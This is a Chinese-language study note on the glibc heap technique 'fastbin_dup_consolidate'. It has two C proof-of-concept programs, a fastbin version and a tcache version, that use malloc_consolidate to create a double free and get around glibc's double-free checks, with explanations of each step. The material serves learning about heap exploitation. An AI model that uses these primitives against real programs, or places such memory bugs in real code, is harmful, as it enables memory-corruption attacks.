fast_bin_consolidate

原理

通过调用malloc_consolidate函数,会将fastbin中的元素扯到其他地方去,导致了double free

这个问题直至glibc-2.36都没有被解决

fastbin_dup_consolidate(fastbin)

复现代码

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%pn", p1, p2);
  fprintf(stderr, "Now free p1!n");
  free(p1);
  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%pn", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %pn", malloc(0x40), malloc(0x40));
}

现象

  1. 创建两个fastbin大小的chunk并释放远的那个
  2. 创建一个largebin大小的chunk,这时如果fastbin中有元素会触发malloc_consolidate函数,将fastbin中的chunk合并,放入unsortbins,然后根据大小放入smallbin或者largebin并创建(但是大小会变大一点)。
  3. 此时再进行free,则可以出现double free。

fastbin_dup_consolidate(tcache)

文档介绍

  • 文档中介绍这个方式可以很有效地通过tcachebin的二次释放检查。

复现代码

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
    // reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
    puts("This is a powerful technique that bypasses the double free check in tcachebin.");
    printf("Fill up the tcache list to force the fastbin usage...\n");
    void *ptr[7];
    for(int i = 0; i < 7; i++)
        ptr[i] = malloc(0x40);
    for(int i = 0; i < 7; i++)
        free(ptr[i]);
    void* p1 = calloc(1,0x40);
    printf("Allocate another chunk of the same size p1=%p \n", p1);
        printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
      free(p1);
      void* p3 = malloc(0x400);
    printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
    printf("will trigger the malloc_consolidate and merge\n");
    printf("the fastbin chunks into the top chunk, thus\n");
    printf("p1 and p3 are now pointing to the same chunk !\n\n");
    assert(p1 == p3);
         printf("Triggering the double free vulnerability!\n\n");
    free(p1);
    void *p4 = malloc(0x400);
    assert(p4 == p3);
    printf("The double free added the chunk referenced by p1 \n");
    printf("to the tcache thus the next similar-size malloc will\n");
    printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

现象

  1. 在创建了一个fastbin大小的chunk后,将其释放掉
  2. 创建一个tcache大小的块,这时会调用malloc_consolidate函数,导致fastbin中的chunk被合并到topchunk中,所以p1==p3
  3. 于是可以再次释放p1,实现double free。